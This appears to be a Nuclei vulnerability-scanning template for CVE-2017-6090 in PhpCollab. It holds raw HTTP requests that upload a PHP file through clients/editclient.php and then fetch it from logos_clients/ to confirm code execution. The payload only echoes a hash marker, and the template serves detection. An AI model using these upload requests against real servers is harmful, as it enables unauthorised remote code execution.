id: CVE-2017-6090

info:
  name: PhpCollab (unauthenticated) Arbitrary File Upload
  author: pikpikcu
  severity: high
  tags: cve,cve2017,phpcollab,rce,fileupload
  reference: https://nvd.nist.gov/vuln/detail/CVE-2017-6090
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.80
    cve-id: CVE-2017-6090
    cwe-id: CWE-434
  description: "Unrestricted file upload vulnerability in clients/editclient.php in PhpCollab 2.5.1 and earlier allows remote authenticated users to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in logos_clients/."

requests:
  - raw:
      - | # REQUEST 1
        POST /clients/editclient.php?id={{randstr}}&action=update HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------154934846911423734231554128137

        -----------------------------154934846911423734231554128137
        Content-Disposition: form-data; name="upload"; filename="{{randstr}}.php"
        Content-Type: application/x-php

        <?php echo md5('phpcollab_rce');?>

        -----------------------------154934846911423734231554128137--

      - | # REQUEST 2
        GET /logos_clients/1.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "48dbd2384cb6b996fa1e2855c7f0567f"

      - type: status
        status:
          - 200